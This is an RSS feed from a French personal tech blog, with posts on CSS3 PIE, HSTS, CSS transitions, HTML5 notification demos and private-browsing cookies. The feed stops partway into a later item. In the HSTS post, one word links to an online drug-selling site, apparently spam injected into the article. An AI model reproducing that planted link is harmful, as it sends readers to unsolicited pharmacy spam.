<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Cyril - Mes astuces &#187; chrome</title>
	<atom:link href="http://blog.cyril.me/tag/chrome/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.cyril.me</link>
	<description>Des astuces sur un peu de tout : l&#039;iPhone, Gentoo, la Wii, ...</description>
	<lastBuildDate>Thu, 02 Feb 2012 18:43:25 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Le CSS3 pour tous, même pour Internet Explorer !</title>
		<link>http://blog.cyril.me/2011/07/pie-htc-css3-ie/</link>
		<comments>http://blog.cyril.me/2011/07/pie-htc-css3-ie/#comments</comments>
		<pubDate>Sun, 10 Jul 2011 14:53:14 +0000</pubDate>
		<dc:creator>Cyril</dc:creator>
				<category><![CDATA[web]]></category>
		<category><![CDATA[Windows et IE]]></category>
		<category><![CDATA[chrome]]></category>
		<category><![CDATA[firefox]]></category>
		<category><![CDATA[html]]></category>
		<category><![CDATA[html5]]></category>

		<guid isPermaLink="false">http://blog.cyril.me/?p=569</guid>
		<description><![CDATA[Les développeurs HTML le savent bien : impossible de faire des styles uniformes sous tous les navigateurs ! Chacun a ses particularités : chrome et ses webkit-, safari qui n&#8217;en met pas et firefox qui -moz ifie un peu tout&#8230; et IE qui ne fait rien ! La solution pour IE : PIE.htc La solution [...]]]></description>
			<content:encoded><![CDATA[<p>Les développeurs HTML le savent bien : impossible de faire des styles uniformes sous tous les navigateurs ! Chacun a ses particularités : chrome et ses webkit-, safari qui n&#8217;en met pas et firefox qui -moz ifie un peu tout&#8230; et IE qui ne fait rien !</p>
<h3>La solution pour IE : PIE.htc</h3>
<p>La solution proposée ici a été développée pour supporter le CSS 3 sur Internet Explorer. Pour ce faire, on utilise une particularité CSS de Internet Explorer pour exécuter du JavaScript, qui va recréer le style CSS 3.</p>
<p><a href="http://css3pie.com/" target="_blank">Voir la démo sur css3pie.com</a></p>
<h3>Mise en place</h3>
<p>Il suffit de rajouter une ligne CSS au style des éléments qui ont du CSS3.</p>
<div class="dean_ch" style="white-space: wrap;"><ol><li class="li1"><div class="de1">&lt;style type=&quot;text/css&quot;&gt;</div></li>
<li class="li1"><div class="de1">.rounded-corner5</div></li>
<li class="li1"><div class="de1">{</div></li>
<li class="li1"><div class="de1">&nbsp; -webkit-border-radius: 5px; /* Chrome */</div></li>
<li class="li2"><div class="de2">&nbsp; border-radius: 5px; /* CSS3 */</div></li>
<li class="li1"><div class="de1">&nbsp; -moz-border-radius: 5px; /* Mozilla */</div></li>
<li class="li1"><div class="de1">&nbsp; behavior: url(PIE.htc); /* Internet Explorer */</div></li>
<li class="li1"><div class="de1">}</div></li>
<li class="li1"><div class="de1">&lt;/style&gt;</div></li></ol></div>
<h3>Exemple d&#8217;utilisation</h3>
<style><!--  .rounded-corner5 { -webkit-border-radius: 5px; /* Chrome */ border-radius: 5px; /* CSS3 */ -moz-border-radius: 5px; /* Mozilla */ behavior: url(/wp-content/uploads/PIE.htc.php); /* Internet Explorer */ } .p569_example { border: 2px solid #aaa; padding: 5px; } --></style>
<div class="rounded-corner5 p569_example">Ceci est un div en exemple, avec des bords arrondis</div>
<h3>Dépannage : quelques règles à respecter tout de même&#8230;</h3>
<p>Il y a principalement deux problèmes qui peuvent être rencontrés :</p>
<ol type="1">
<li><a href="http://css3pie.com/documentation/known-issues/#content-type" target="_blank">Mime-type :</a> par défaut sous linux, le fichier .htc est reconnu comme étant du type text/html, mais doit être du type text/x-component pour que ça fonctionne. Plusieurs solutions, en fonction de ce que vous pouvez faire : modifier la configuration du serveur /etc/mime.types pour rajouter ce champ, rajouter la ligne <code>AddType text/x-component .htc</code> à votre configuration apache ou .htaccess, ou enfin créer un fichier de script du type PHP en utilisant le code <code>header('Content-type: text/x-component')</code> pour spécifier le type contenu.</li>
<li><a href="http://css3pie.com/documentation/known-issues/#x-domain" target="_blank">Domaine, répertoire et droits :</a> le CSS ne va fonctionner que si le fichier .htc est sur le même domaine que le site qui sert le HTML : impossible donc d&#8217;utiliser la traditionnelle et non moins nécessaire segmentation des contenus dynamiques/statiques. Du coup, les rendu CSS3 utilisant des url() risquent d&#8217;être mal considérées si le chemin est relatif.</li>
</ol>
<p>English version : <a target="_blank" href="http://blog.cyril.me/en/2011/07/pie-htc-css3-internet-explorer/">CSS3 for Internet Explorer with PIE.htc</a></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.cyril.me/2011/07/pie-htc-css3-ie/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>HSTS : Sécurisation strictes des connexions</title>
		<link>http://blog.cyril.me/2010/09/hsts-http-strict-transport-security/</link>
		<comments>http://blog.cyril.me/2010/09/hsts-http-strict-transport-security/#comments</comments>
		<pubDate>Fri, 17 Sep 2010 05:54:36 +0000</pubDate>
		<dc:creator>Cyril</dc:creator>
				<category><![CDATA[web]]></category>
		<category><![CDATA[chrome]]></category>
		<category><![CDATA[firefox]]></category>
		<category><![CDATA[http]]></category>
		<category><![CDATA[reseau]]></category>
		<category><![CDATA[sécurité]]></category>

		<guid isPermaLink="false">http://blog.cyril.me/?p=456</guid>
		<description><![CDATA[HSTS est (et j&#8217;adore ce genre de formule auxquelles on ne comprend rien) une norme qui permet de sécuriser l&#8217;accès aux sites sécurisés. HSTS signifie HTTP Strict Transport Security (précédemment nommé STS). Limites actuelles Aujourd&#8217;hui, le protocole HTTPS (HTTP sécurisé) est très robuste. Les principales failles de sécurité proviennent non pas du protocole de sécurisation [...]]]></description>
			<content:encoded><![CDATA[<p>HSTS est (et j&#8217;adore ce genre de formule auxquelles on ne comprend rien) une norme qui permet de sécuriser l&#8217;accès aux sites sécurisés. HSTS signifie HTTP Strict Transport Security (précédemment nommé STS).</p>
<h3>Limites actuelles</h3>
<p>Aujourd&#8217;hui, le protocole HTTPS (HTTP sécurisé) est très robuste. Les principales failles de sécurité proviennent non pas du protocole de sécurisation en lui-même, mais plutôt du phishing, c&#8217;est-à-dire de l&#8217;identité réelle du site que vous visitez. Vous pouvez très bien aller sur le site par exemple de <code>lcl.fr</code>, mais en réalité vous êtes sur le site de <code>lc1.fr</code>. Pas forcément évident de faire la différence entre les deux au premier coup d&#8217;oeil.</p>
<p>Autre problème : vous vous connectez à un réseau wifi gratuit, et <a href='http://atlantic-drugs.net/products/bystolic.htm'>alors</a> que vous pensez vous connecter sur le site de lcl.fr, vous êtes en réalité sur une copie de ce site, et c&#8217;est le serveur DNS (qui associe une IP à lcl.fr) qui vous trompe. Le certificat de sécurité, en revanche n&#8217;est pas valide, mais vous avez l&#8217;habitude que ça arrive sur Internet&#8230;</p>
<h3>La solution proposée</h3>
<p>En fait, cette solution n&#8217;est pas miraculeuse. Elle permet deux choses :</p>
<ol>
<li>Si j&#8217;arrive sur le site de ma banque, alors je suis obligatoirement en HTTPS. Cela évite les attaques qui consisteraient à y changer les liens en des liens vers un autre site avec une adresse similaire et un certificat valide.</li>
<li>Si quelqu&#8217;un cherche à se faire passer pour ma banque et que je suis un abruti qui accepterait un certificat non valide, alors je suis protégé, car le certificat sera automatiquement refusé par mon navigateur.</li>
</ol>
<h3>Mise en place</h3>
<p>Un site se déclare HSTS par deux manières différentes :</p>
<ul>
<li>soit il fournit un header HTTP nommé <code>Strict-Transport-Security</code>, qui contient pour combien de temps et sur quelles parties du site appliquer HSTS  (exemple : <code>Strict-Transport-Security: max-age=16070400; includeSubDomains</code>) ;</li>
<li>soit il se déclare comme tel auprès des navigateurs (ou bientôt d&#8217;une autorité ?). Cette solution permet d&#8217;éviter de se faire avoir lors de la première connexion au site internet avec un navigateur tout neuf.</li>
</ul>
<p>Une fois qu&#8217;un site est considéré comme HSTS par le navigateur :</p>
<ul>
<li>Aucune connexion en HTTP non sécurisé ne sera faite. Tout passera directement par HTTPS. Les URL en HTTP (quand vous les tapez vous-même, ou bien à partir de lien trouvés sur des sites) seront automatiquement converties en HTTPS.</li>
<li>Si la liaison HTTPS contient une erreur (certificat auto-signé, ou non valide sur le domaine, &#8230;) alors la connexion sera automatiquement interrompue et aucune donnée ne sera transmise au site distant.</li>
</ul>
<h3>Conclusion</h3>
<p>C&#8217;est une bonne couche de sécurité supplémentaire qui va être ajoutée, et qui va permettre d&#8217;éviter pas mal d&#8217;usurpation d&#8217;identité de site Internet. Internet n&#8217;est pas un monde magique où tout est rose, et il reste très important de sensibiliser les internautes aux problèmes de sécurité sur Internet, car malheureusement, une telle solution ne permet pas de protéger contre toutes les attaques.</p>
<p>Actuellement, Chrome 6 et Firefox 4 ont adopté la norme.</p>
<p>Sources : <a href="http://sites.google.com/a/chromium.org/dev/sts" target="_blank">Strict Transport Security chez Chrome</a>, <a href="http://linuxfr.org/2010/09/17/27389.html" target="_blank">la dépêche linuxfr.org sur HSTS dans Firefox</a></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.cyril.me/2010/09/hsts-http-strict-transport-security/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>CSS3 : Transitions et animations</title>
		<link>http://blog.cyril.me/2010/09/css3-transition-animations/</link>
		<comments>http://blog.cyril.me/2010/09/css3-transition-animations/#comments</comments>
		<pubDate>Tue, 07 Sep 2010 06:14:48 +0000</pubDate>
		<dc:creator>Cyril</dc:creator>
				<category><![CDATA[web]]></category>
		<category><![CDATA[chrome]]></category>
		<category><![CDATA[css]]></category>
		<category><![CDATA[firefox]]></category>
		<category><![CDATA[html]]></category>
		<category><![CDATA[html5]]></category>

		<guid isPermaLink="false">http://blog.cyril.me/?p=416</guid>
		<description><![CDATA[Le CSS évolue. Une des principales innovations dans ce standard est l&#8217;ajout des animations. En voici un aperçu. Démo : opacité et rotation Un peu de code Principe de fonctionnement Le principe des animations est simple : Vous ajouter des styles à vos objets : style normal, et style modifié sur un évènement, par exemple [...]]]></description>
			<content:encoded><![CDATA[<p>Le CSS évolue. Une des principales innovations dans ce standard est l&#8217;ajout des animations. En voici un aperçu.</p>
<h3>Démo : opacité et rotation</h3>
<style type="text/css">
.p416_animated {  -webkit-transition: -webkit-transform 1000ms ease-out 40ms, opacity 1000ms ease-out 40ms; -moz-transition: -moz-transform 1000ms ease-out 40ms, opacity 1000ms ease-out 40ms; opacity:.5;
}
.p416_animated:hover { opacity:1; -webkit-transform: rotate(360deg); -moz-transform: rotate(360deg); }
</style>
<p style="text-align: center">
<img class="p416_animated" src="http://blog.cyril.me/wp-content/uploads/2010/09/firefox-150x150.png" alt="" /></p>
<h3>Un peu de code</h3>
<h4>Principe de fonctionnement</h4>
<p>Le principe des animations est simple :</p>
<ol>
<li>Vous ajouter des styles à vos objets : style normal, et style modifié sur un évènement, par exemple avec <code>:hover</code>. Par exemple, on définit <code>opacity: 0.5;</code> dans le cas normal et <code>opacity: 1;</code> dans le <code>:hover</code>.</li>
<li>On rajoute un style normal qui s&#8217;intitule <code>-webkit-transition</code> et dans lequel on va programmer la transition : type de propriété à animer, courbe de vitesse. Par exemple, si on veut animer l&#8217;opacité avec une vitesse rapide, en rendant l&#8217;arrêt plus fluide : <code>-webkit-transition: -webkit-transform 1000ms ease-out 40ms ;</code></li>
</ol>
<h4>Source de l&#8217;exemple</h4>
<div class="dean_ch" style="white-space: wrap;"><ol><li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1"><span class="sc2"><span class="kw2">&lt;style&gt;</span></span></div></li>
<li class="li1"><div class="de1">.p416_animated {</div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp;opacity:.5;</div></li>
<li class="li2"><div class="de2">&nbsp; -webkit-transition: -webkit-transform 1000ms ease-out 40ms, opacity 1000ms ease-out 40ms;</div></li>
<li class="li1"><div class="de1">&nbsp; -moz-transition: -moz-transform 1000ms ease-out 40ms, opacity 1000ms ease-out 40ms;</div></li>
<li class="li1"><div class="de1">}</div></li>
<li class="li1"><div class="de1">.p416_animated:hover {</div></li>
<li class="li1"><div class="de1">&nbsp; opacity:1;</div></li>
<li class="li2"><div class="de2">&nbsp; -webkit-transform: rotate(360deg);</div></li>
<li class="li1"><div class="de1">&nbsp; -moz-transform: rotate(360deg);</div></li>
<li class="li1"><div class="de1">}</div></li>
<li class="li1"><div class="de1"><span class="sc2"><span class="kw2">&lt;/style&gt;</span></span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li2"><div class="de2"><span class="sc2"><span class="kw2">&lt;img</span> <span class="kw3">class</span>=<span class="st0">&quot;p416_animated&quot;</span> <span class="kw3">src</span>=<span class="st0">&quot;http://blog.cyril.me/wp-content/uploads/2010/09/firefox-150x150.png&quot;</span> <span class="kw3">alt</span>=<span class="st0">&quot;&quot;</span> /<span class="kw2">&gt;</span></span></div></li></ol></div>
<h3>Compatibilité</h3>
<p>
Le grand problème des évolutions de langage, c&#8217;est qu&#8217;il faut attendre l&#8217;évolution des navigateurs. Parmi les navigateurs compatibles disponibles à ce jour, nous avons Firefox 4, Chrome et Safari.
</p>
<p>
Cependant, le manque de compatibilité, dans certains cas (opacité par exemple), ne rendra pas votre site incompatible, mais seulement moins fini.
</p>
<p>
Pour aller plus loin : <a href="http://www.w3.org/TR/css3-transitions/" title="CSS3 Transitions Reference">la référence du w3 sur les transitions CSS3</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.cyril.me/2010/09/css3-transition-animations/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Les notifications HTML5 sous Firefox</title>
		<link>http://blog.cyril.me/2010/08/notifications-html5-firefox/</link>
		<comments>http://blog.cyril.me/2010/08/notifications-html5-firefox/#comments</comments>
		<pubDate>Mon, 30 Aug 2010 06:31:45 +0000</pubDate>
		<dc:creator>Cyril</dc:creator>
				<category><![CDATA[Firefox HTML5 Notifications]]></category>
		<category><![CDATA[chrome]]></category>
		<category><![CDATA[firefox]]></category>
		<category><![CDATA[html]]></category>
		<category><![CDATA[html5]]></category>
		<category><![CDATA[web]]></category>

		<guid isPermaLink="false">http://blog.cyril.me/?p=409</guid>
		<description><![CDATA[Envie d&#8217;avoir les notifications sous Firefox comme sous Chrome ? C&#8217;est désormais possible avec l&#8217;extension qui va bien. Elle n&#8217;est pas encore tout à fait finie, mais c&#8217;est assez pour pouvoir s&#8217;en servir. La page de l&#8217;extension : https://addons.mozilla.org/fr/firefox/addon/221523/ Site officiel : http://code.google.com/p/ff-html5notifications/]]></description>
			<content:encoded><![CDATA[<p>Envie d&#8217;avoir les notifications sous Firefox comme sous Chrome ? C&#8217;est désormais possible avec <a title="HTML5 Notifications for Firefox" href="https://addons.mozilla.org/fr/firefox/addon/221523/">l&#8217;extension qui va bien</a>.</p>
<p>Elle n&#8217;est pas encore tout à fait finie, mais c&#8217;est assez pour pouvoir s&#8217;en servir.</p>
<p>La page de l&#8217;extension : <a href="https://addons.mozilla.org/fr/firefox/addon/221523/">https://addons.mozilla.org/fr/firefox/addon/221523/</a><br />
Site officiel : <a href="http://code.google.com/p/ff-html5notifications/">http://code.google.com/p/ff-html5notifications/</a></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.cyril.me/2010/08/notifications-html5-firefox/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>Navigation privée et cookies</title>
		<link>http://blog.cyril.me/2010/08/navigation-privee-cookies/</link>
		<comments>http://blog.cyril.me/2010/08/navigation-privee-cookies/#comments</comments>
		<pubDate>Tue, 10 Aug 2010 20:40:14 +0000</pubDate>
		<dc:creator>Cyril</dc:creator>
				<category><![CDATA[web]]></category>
		<category><![CDATA[chrome]]></category>
		<category><![CDATA[cookies]]></category>
		<category><![CDATA[firefox]]></category>
		<category><![CDATA[html]]></category>

		<guid isPermaLink="false">http://blog.cyril.me/?p=375</guid>
		<description><![CDATA[De plus en plus de navigateurs ont un mode de navigation privée. C&#8217;est le cas pour Chrome, Firefox, Safari et Internet Explorer (inPrivate) en autres. Ces modes permettent de surfer anonymement sur Internet. Enfin anonymement&#8230; Concrètement : la navigation privée, ça change quoi ? Le principe de base, enoncé dans une publicité pour le système [...]]]></description>
			<content:encoded><![CDATA[<p>De plus en plus de navigateurs ont un mode de navigation privée. C&#8217;est le cas pour <a title="Navigation privée sous Chrome" href="http://www.google.com/support/chrome/bin/answer.py?hl=fr&amp;answer=95464" target="_blank">Chrome</a>, <a title="Navigation privée sous Firefox" href="http://www.mozilla-europe.org/fr/firefox/features/#private-browsing" target="_blank">Firefox</a>, <a title="Navigation privée sous Safari" href="http://www.apple.com/fr/safari/what-is.html#security" target="_blank">Safari</a> et <a title="Navigation privée sous IE" href="http://windows.microsoft.com/fr-FR/windows-vista/What-is-InPrivate-Browsing">Internet Explorer (inPrivate)</a> en autres. Ces modes permettent de surfer anonymement sur Internet. Enfin anonymement&#8230;</p>
<h3>Concrètement : la navigation privée, ça change quoi ?</h3>
<p>Le principe de base, enoncé dans une publicité pour le système d&#8217;exploitation de Microsoft Window 7, et son navigateur internet associé IE8, est le suivant : vous pouvez acheter un cadeau sur l&#8217;ordinateur commun en mode privé, et quand vous avez fini il ne reste plus aucune trace de votre passage dans votre navigateur. Ceci est correct pour la majorité des navigateurs.</p>
<p>Lorsque vous entrez en mode de navigation privée, le navigateur n&#8217;enregistrera rien de ce que vous faîtes : tout est stocké dans un répertoire à part, qui vous permet de garder votre historique et vos cookies (nécessaires sur presque tous les sites où vous avez un compte). A la fin, lorsque vous fermez le navigateur ou que vous choisissez d&#8217;arrêter votre session de navigation privée, tout est supprimé et vous retrouvez un navigateur comme si vous n&#8217;aviez jamais rien fait.</p>
<p>Voici les principales applications de la navigation privée :</p>
<ul>
<li>Pour faire un cadeau à quelqu&#8217;un, comme énoncé plus haut ;</li>
<li>Pour aller sur des sites adultes (soyons honnêtes : sans doute la principale utilisation faite de ce mode de navigation)</li>
<li>Pour prêter son ordinateur à quelqu&#8217;un (de confiance) temporairement : si cette personne se connecte à son compte Google par exemple, à la fin de la session vous serez toujours connecté à votre propre compte et non à celui de la personne à qui vous avez prêté votre ordinateur.</li>
</ul>
<h3>Question plus technique : les cookies</h3>
<p>J&#8217;ai eu l&#8217;occasion d&#8217;effectuer différents tests sur Firefox 3.6, Chrome 5.0 et Internet Explorer 8 en utilisant <a title="Lien : outil de test utilisé pour afficher, écrire et supprimer des cookies" href="http://paxal.net/devel/cookies/">cet outil</a>. J&#8217;ai testé les cookies locaux et les cookies tièces. Pour les cookies tièrces, j&#8217;ai utilisé un script javascript distant pour lire et écrire les cookies. Les cookies distribués avaient une durée de vie de 1 journée (86400 secondes).</p>
<ul>
<li><strong>Sans navigation privée :</strong> les cookies locaux et tièrces sont correctement stockés et redistribués aux sites ;</li>
<li><strong>Passage à la navigation privée :</strong> les cookies stockés sont perdus ;</li>
<li><strong>Pendant la navigation privée :</strong> le navigateur se comporte normalement, avec lecture et écriture des cookies locaux et tièrces ;</li>
<li><strong>A la fin de la navigation privée :</strong> les anciens cookies présents sont restaurés.</li>
</ul>
<p>Le point qui me semble le plus important et le moins facile à deviner est donc la perte de toutes les cookies existant lors du passage en navigation privée.</p>
<h3>L&#8217;anonymat sur Internet</h3>
<p>Il existe bien des manières d&#8217;identifier une personne sur Internet. La méthode la plus sûre, et utilisée dans tous les cas (ou presque, j&#8217;imagine), c&#8217;est le cookie. Il permet vraiment d&#8217;identifier une personne derrière un écran. Mais il y a d&#8217;autres informations particulières qui, en dépit de ce que pourra faire votre navigateur, restent imprégnées sur la toile.</p>
<p><strong>L&#8217;adresse IP :</strong> cette adresse est unique par foyer, et fixe dans la majorité des cas. Si vous n&#8217;avez qu&#8217;un seul ordinateur derrière une adresse IP, alors on peut aisément vous reconnaître, quel que soit l&#8217;ordinateur ou le navigateur que vous utilisez : vous êtes la même personne. De plus, il est facile de savoir si vous êtes seuls derrière : il suffit d&#8217;étudier le comportement de votre IP sur une petite attaque réseau bénigne lancée avec nmap par exemple.</p>
<p><strong>Le User-Agent :</strong> si vous êtes plusieurs derrière une IP, on peut utiliser le User-Agent. Le User-Agent est une ligne de texte envoyée à tous les serveurs sur Internet qui permet de définir si vous êtes sous Mac ou PC, si vous utilisez Firefox ou Internet Explorer, si vous êtes sous Windows Vista ou Mac OS 10.4, ou encore sous iPhone ou Android&#8230; Comme deux ordinateurs dans une même maison sont rarement identiques (Système d&#8217;exploitation, Navigateur, et leur version associée), on peut reconnaître par exemple monsieur sous Windows XP et Madame sous Mac OS.</p>
<p><strong>L&#8217;expérience de navigation :</strong> l&#8217;adresse IP pourrait tout de même être suffisante. Si vous êtes plusieurs derrière votre accès Internet à la maison, il n&#8217;en reste pas moins que chacun va sur les sites qui l&#8217;intéresse : Madame va lire Marmiton tandis que Monsieur va lire les Echos.</p>
<h3>Conclusion</h3>
<p>L&#8217;adresse IP est donc bien suffisante dans la majorité des cas pour identifier une personne,. En fait, l&#8217;anonymat sur Internet, vous pouvez l&#8217;oublier. Tout de même, il faudrait aller sur des sites peu scrupuleux pour avoir affaire à ce genre de pratiques (sites pornographiques, de Peer-to-Peer, &#8230;). Pour les autres, les systèmes de navigation privée proposés par les navigateurs sont bien suffisants.</p>
<p>Lien : <a href="http://paxal.net/devel/cookies/">outil de test utilisé pour afficher, écrire et supprimer des cookies</a></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.cyril.me/2010/08/navigation-privee-cookies/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Notifications HTML5 : exemple et demo</title>
		<link>http://blog.cyril.me/2010/06/notifications-html5-exemple-demo/</link>
		<comments>http://blog.cyril.me/2010/06/notifications-html5-exemple-demo/#comments</comments>
		<pubDate>Tue, 22 Jun 2010 21:40:37 +0000</pubDate>
		<dc:creator>Cyril</dc:creator>
				<category><![CDATA[web]]></category>
		<category><![CDATA[chrome]]></category>
		<category><![CDATA[chromium]]></category>
		<category><![CDATA[firefox]]></category>
		<category><![CDATA[html]]></category>
		<category><![CDATA[html5]]></category>

		<guid isPermaLink="false">http://blog.cyril.me/?p=297</guid>
		<description><![CDATA[Consécutivement à l&#8217;article sur les notifications HTML 5, voici un article qui donne un exemple de fonctionnement des notifications. La démo Votre navigateur ne supporte pas les notifications. L&#8217;exemple ci-dessous ne fonctionnera pas. Avant de pouvoir afficher une notification, vous devez autoriser le site à vous en présenter : Autoriser les notifications Il y a [...]]]></description>
			<content:encoded><![CDATA[<p>Consécutivement à l&#8217;article sur les <a href="http://blog.cyril.me/2010/05/html5-chrome-notifications/">notifications HTML 5</a>, voici un article qui donne un exemple de fonctionnement des notifications.</p>
<h3>La démo</h3>
<div id="p297_disabled" style="display: none; color: #f00; font-weight: bold; text-aglin: center; padding: 20px; background-color: #eee;">Votre navigateur ne supporte pas les notifications. L&#8217;exemple ci-dessous ne fonctionnera pas.</div>
<p>Avant de pouvoir afficher une notification, vous devez autoriser le site à vous en présenter : <button id="p297_allow" onclick="p297_allowNotification()">Autoriser les notifications</button><br />
<span style="color: #ff0000;">Il y a parfois des limitations qui empêchent le site de lancer une autorisation au chargement de la page : vous êtes parfois obligé de faire cliquer l&#8217;utilisateur sur un bouton pour voir apparaître l&#8217;avertissement d&#8217;autorisation.</span></p>
<p>Ensuite, vous pouvez afficher des notifications (avec ou sans bouton) :<br />
<button id="p297_show" onclick="p297_showNotification()">Afficher la notification</button><br />
<a onclick="window.setTimeout(p297_showNotification, 3000);" href="javascript:;">Programmer une notification dans 3 secondes</a><br />
<script type="text/javascript">// <![CDATA[
             window.addEventListener("load", function() { if(!('webkitNotifications' in window)){document.getElementById("p297_disabled").style.display = '';}}, true); function p297_allowNotification() { if('webkitNotifications' in window) { webkitNotifications.requestPermission(p297_showNotification); } } function p297_showNotification() { if('webkitNotifications' in window) { var notification = webkitNotifications.createNotification(undefined, "Titre : cyril.me", "Ceci est une notification"); notification.show(); window.setTimeout(function() {notification.cancel();}, 5000); } }
// ]]&gt;</script></p>
<h3>Sources de l&#8217;exemple</h3>
<p><span style="text-decoration: underline;">Code HTML :</span></p>
<div class="dean_ch" style="white-space: wrap;"><ol><li class="li1"><div class="de1"><span class="sc2"><span class="kw2">&lt;button</span> <span class="kw3">onclick</span>=<span class="st0">&quot;showNotification()&quot;</span><span class="kw2">&gt;</span></span>Afficher la notification<span class="sc2"><span class="kw2">&lt;/button&gt;</span></span></div></li>
<li class="li1"><div class="de1"><span class="sc2"><span class="kw2">&lt;button</span> <span class="kw3">onclick</span>=<span class="st0">&quot;p297_showNotification()&quot;</span><span class="kw2">&gt;</span></span>Afficher la notification<span class="sc2"><span class="kw2">&lt;/button&gt;</span></span></div></li>
<li class="li1"><div class="de1"><span class="sc2"><span class="kw2">&lt;a</span> <span class="kw3">onclick</span>=<span class="st0">&quot;window.setTimeout(showNotification, 3000);&quot;</span> <span class="kw3">href</span>=<span class="st0">&quot;javascript:;&quot;</span><span class="kw2">&gt;</span></span>Programmer une notification dans 3 secondes<span class="sc2"><span class="kw2">&lt;/a&gt;</span></span></div></li></ol></div>
<p><span style="text-decoration: underline;">Code javascript :</span></p>
<div class="dean_ch" style="white-space: wrap;"><ol><li class="li1"><div class="de1">&lt;script type=<span class="st0">&quot;text/javascript&quot;</span>&gt;</div></li>
<li class="li1"><div class="de1"><span class="coMULTI">/** Demande la permission d’afficher des notifications */</span></div></li>
<li class="li1"><div class="de1"><span class="kw2">function</span> allowNotification<span class="br0">&#40;</span><span class="br0">&#41;</span></div></li>
<li class="li1"><div class="de1"><span class="br0">&#123;</span></div></li>
<li class="li2"><div class="de2">&nbsp; <span class="kw1">if</span><span class="br0">&#40;</span><span class="st0">&quot;webkitNotifications&quot;</span> in window<span class="br0">&#41;</span></div></li>
<li class="li1"><div class="de1">&nbsp; <span class="br0">&#123;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; <span class="co1">// Demande la permission. En cas de succès, afficher la notification</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; webkitNotifications.<span class="me1">requestPermission</span><span class="br0">&#40;</span>p297_showNotification<span class="br0">&#41;</span>;</div></li>
<li class="li1"><div class="de1">&nbsp; <span class="br0">&#125;</span></div></li>
<li class="li2"><div class="de2"><span class="br0">&#125;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1"><span class="coMULTI">/** Affiche la notification */</span></div></li>
<li class="li1"><div class="de1"><span class="kw2">function</span> showNotification<span class="br0">&#40;</span><span class="br0">&#41;</span></div></li>
<li class="li1"><div class="de1"><span class="br0">&#123;</span></div></li>
<li class="li2"><div class="de2">&nbsp; <span class="kw1">if</span><span class="br0">&#40;</span><span class="st0">&quot;webkitNotifications&quot;</span> in window<span class="br0">&#41;</span></div></li>
<li class="li1"><div class="de1">&nbsp; <span class="br0">&#123;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; <span class="co1">// Crée une notification à partir d’une image, d’un titre</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; <span class="co1">// et d’une description (pas d’HTML possible).</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; <span class="co1">// Pour créer une notification avec de l’HTML</span></div></li>
<li class="li2"><div class="de2">&nbsp; &nbsp; <span class="co1">// (pour le formatage), utiliser createHTMLNotification()</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; var notification = webkitNotifications.<span class="me1">createNotification</span><span class="br0">&#40;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; <span class="st0">&quot;http://www.google.fr/favicon.ico&quot;</span>,</div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; <span class="st0">&quot;Titre : cyril.me&quot;</span>,</div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; <span class="st0">&quot;Ceci est une notification&quot;</span></div></li>
<li class="li2"><div class="de2">&nbsp; &nbsp; <span class="br0">&#41;</span>;</div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; <span class="co1">// Afficher la notification</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; notification.<span class="me1">show</span><span class="br0">&#40;</span><span class="br0">&#41;</span>;</div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; <span class="co1">// N’afficher la notification que 5 secondes</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; window.<span class="me1">setTimeout</span><span class="br0">&#40;</span><span class="kw2">function</span><span class="br0">&#40;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span>notification.<span class="me1">cancel</span><span class="br0">&#40;</span><span class="br0">&#41;</span>;<span class="br0">&#125;</span>, <span class="nu0">5000</span><span class="br0">&#41;</span>;</div></li>
<li class="li2"><div class="de2">&nbsp; <span class="br0">&#125;</span></div></li>
<li class="li1"><div class="de1"><span class="br0">&#125;</span></div></li>
<li class="li1"><div class="de1">&lt;/script&gt;</div></li></ol></div>
]]></content:encoded>
			<wfw:commentRss>http://blog.cyril.me/2010/06/notifications-html5-exemple-demo/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Conversion javascript</title>
		<link>http://blog.cyril.me/2010/05/conversion-json-text-xml-javascript/</link>
		<comments>http://blog.cyril.me/2010/05/conversion-json-text-xml-javascript/#comments</comments>
